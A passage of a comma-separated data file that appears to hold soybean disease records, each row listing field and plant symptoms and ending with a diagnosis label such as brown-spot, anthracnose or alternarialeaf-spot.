absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\naugust, lt-normal, norm, norm, no, same-lst-two-yrs, upper-areas, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, colored, norm, absent, absent, norm, absent, norm, brown-spot\njuly, lt-normal, gt-norm, norm, yes, same-lst-yr, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, absent, tan, present, firm-and-dry, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, lt-normal, norm, norm, no, diff-lst-year, scattered, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, low-areas, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, severe, other, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, absent, tan, present, firm-and-dry, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, normal, gt-norm, norm, yes, same-lst-sev-yrs, low-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, low-areas, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, severe, other, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nseptember, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, absent, tan, present, firm-and-dry, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nseptember, normal, gt-norm, norm, no, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\naugust, normal, gt-norm, gt-norm, no, same-lst-two-yrs, whole-field, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\njune, normal, norm, norm, yes, diff-lst-year, scattered, minor, none, 90-100, norm, abnorm, yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\njuly, normal, norm, norm, yes, same-lst-yr, upper-areas, minor, none, 90-100, norm, abnorm, yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\njuly, normal, norm, norm, yes, same-lst-sev-yrs, upper-areas, minor, none, 90-100, norm, abnorm, yellow-halos, w-s-marg, lt-1/ \\\n 8, present, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\njuly, normal, gt-norm, norm, no, same-lst-two-yrs, low-areas, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\njuly, normal, norm, norm, yes, same-lst-yr, scattered, minor, none, 80-89, norm, abnorm, yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\naugust, normal, gt-norm, norm, no, diff-lst-year, whole-field, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\njune, normal, norm, norm, yes, same-lst-sev-yrs, low-areas, minor, none, 90-100, norm, abnorm, yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\naugust, lt-normal, gt-norm, gt-norm, no, same-lst-two-yrs, low-areas, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\njune, lt-normal, norm, gt-norm, yes, same-lst-two-yrs, upper-areas, minor, none, lt-80, norm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, galls-cysts, bacterial-pustule\njuly, normal, gt-norm, lt-norm, no, same-lst-two-yrs, whole-field, pot-severe, fungicide, 80-89, abnorm, abnorm, no-yellow-halos, no-w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, present, norm, absent, norm, bacterial-pustule\njune, normal, norm, lt-norm, yes, diff-lst-year, scattered, minor, none, 90-100, norm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-pustule\naugust, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, pot-severe, none, lt-80, norm, abnorm, yellow-halos, w-s-marg, lt-1/ \\\n 8, present, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, lt- \\\n norm, absent, rotted, bacterial-pustule\njuly, normal, gt-norm, norm, no, same-lst-yr, low-areas, pot-severe, none, 80-89, norm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, present, lt- \\\n norm, absent, rotted, bacterial-pustule\njuly, lt-normal, norm, lt-norm, yes, same-lst-two-yrs, scattered, minor, none, lt-80, norm, abnorm, no-yellow-halos, no-w-s-marg, lt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, rotted, bacterial-pustule\njuly, normal, norm, norm, no, same-lst-two-yrs, whole-field, minor, none, 80-89, abnorm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, present, lt- \\\n norm, absent, norm, bacterial-pustule\njuly, lt-normal, gt-norm, norm, yes, diff-lst-year, upper-areas, pot-severe, none, lt-80, norm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, lt- \\\n norm, absent, rotted, bacterial-pustule\naugust, normal, norm, norm, no, same-lst-yr, whole-field, minor, none, 80-89, norm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, present, lt- \\\n norm, absent, norm, bacterial-pustule\nseptember, lt-normal, norm, norm, yes, same-lst-two-yrs, scattered, minor, fungicide, lt-80, norm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, rotted, bacterial-pustule\noctober, normal, gt-norm, lt-norm, no, same-lst-two-yrs, upper-areas, minor, none, 90- \\\n 100, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, none, absent, diseased, colored, abnorm, absent, present, norm, absent, norm, purple-seed-stain\noctober, normal, gt-norm, lt-norm, yes, same-lst-two-yrs, upper-areas, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, none, absent, diseased, colored, abnorm, absent, present, norm, absent, norm, purple-seed-stain\naugust, normal, gt-norm, norm, no, same-lst-yr, low-areas, minor, fungicide, lt- \\\n 80, norm, norm, absent, dna, dna, absent, absent, absent, norm, yes, absent, tan, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, purple-seed-stain\naugust, normal, gt-norm, norm, no, diff-lst-year, scattered, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, norm, no, absent, tan, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, purple-seed-stain\naugust, normal, gt-norm, lt-norm, yes, diff-lst-year, scattered, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, tan, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, purple-seed-stain\noctober, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, upper-areas, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, none, absent, diseased, colored, abnorm, absent, present, norm, absent, norm, purple-seed-stain\njuly, normal, gt-norm, lt-norm, no, diff-lst-year, scattered, minor, none, 80- \\\n 89, norm, norm, absent, dna, dna, absent, absent, absent, norm, no, absent, tan, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, purple-seed-stain\njuly, normal, gt-norm, norm, no, same-lst-sev-yrs, whole-field, minor, fungicide, 80- \\\n 89, norm, norm, absent, dna, dna, absent, absent, absent, norm, yes, absent, tan, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, purple-seed-stain\nseptember, normal, gt-norm, norm, yes, same-lst-yr, low-areas, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, none, absent, diseased, colored, abnorm, absent, present, norm, absent, norm, purple-seed-stain\naugust, normal, gt-norm, norm, yes, diff-lst-year, scattered, minor, fungicide, 80- \\\n 89, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, purple-seed-stain\nseptember, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 90-100, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, absent, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\nseptember, lt-normal, gt-norm, gt-norm, no, same-lst-two-yrs, upper-areas, minor, fungicide, lt-80, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, norm, present, norm, anthracnose\noctober, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, fungicide, 80-89, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\njune, lt-normal, gt-norm, gt-norm, no, diff-lst-year, scattered, pot-severe, none, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-soil, brown, absent, firm-and-dry, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, anthracnose\njuly, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, norm, absent, norm, anthracnose\naugust, lt-normal, gt-norm, gt-norm, no, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\noctober, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\nmay, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, fungicide, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-soil, dk-brown-blk, absent, firm-and-dry, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, anthracnose\noctober, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, fungicide, 80-89, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\nseptember, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, other, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, norm, absent, norm, anthracnose\nseptember, lt-normal, gt-norm, gt-norm, no, same-lst-sev-yrs, whole-field, minor, fungicide, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, above-sec-nde, dk-brown-blk, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\napril, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-soil, dk-brown-blk, absent, firm-and-dry, absent, none, absent, norm, absent, abnorm, present, absent, lt-norm, absent, norm, anthracnose\noctober, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, minor, none, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, abnorm, absent, present, lt-norm, present, norm, anthracnose\nseptember, lt-normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, none, 80-89, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, absent, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\nseptember, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, lt-80, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\noctober, lt-normal, gt-norm, gt-norm, no, diff-lst-year, scattered, pot-severe, none, 80-89, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\nseptember, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, none, 90-100, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\noctober, lt-normal, gt-norm, gt-norm, no, same-lst-sev-yrs, whole-field, minor, other, 80-89, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, above-sec-nde, dk-brown-blk, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\nseptember, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 80-89, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, absent, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\nseptember, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, fungicide, 80-89, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, absent, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\njuly, lt-normal, norm, norm, yes, diff-lst-year, upper-areas, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njuly, normal, lt-norm, norm, no, diff-lst-year, upper-areas, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njuly, lt-normal, norm, norm, yes, diff-lst-year, scattered, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njuly, normal, lt-norm, norm, no, same-lst-two-yrs, scattered, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njuly, lt-normal, norm, gt-norm, yes, same-lst-sev-yrs, upper-areas, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njune, normal, lt-norm, norm, no, diff-lst-year, whole-field, minor, other, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\nmay, normal, lt-norm, gt-norm, no, same-lst-sev-yrs, upper-areas, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njune, lt-normal, norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njune, normal, lt-norm, gt-norm, no, same-lst-sev-yrs, scattered, pot-severe, fungicide, 90-100, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njune, lt-normal, norm, gt-norm, yes, same-lst-sev-yrs, whole-field, minor, other, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, normal, norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\njuly, normal, gt-norm, norm, yes, diff-lst-year, scattered, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, norm, norm, no, same-lst-two-yrs, upper-areas, minor, other, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, norm, norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, low-areas, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, whole-field, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, norm, yes, same-lst-yr, low-areas, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, norm, yes, diff-lst-year, scattered, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, norm, yes, same-lst-two-yrs, low-areas, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, upper-areas, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, lt-normal, gt-norm, gt-norm, yes, same-lst-yr, low-areas, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, low-areas, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, low-areas, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, lt-normal, norm, gt-norm, yes, same-lst-two-yrs, upper-areas, minor, other, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, 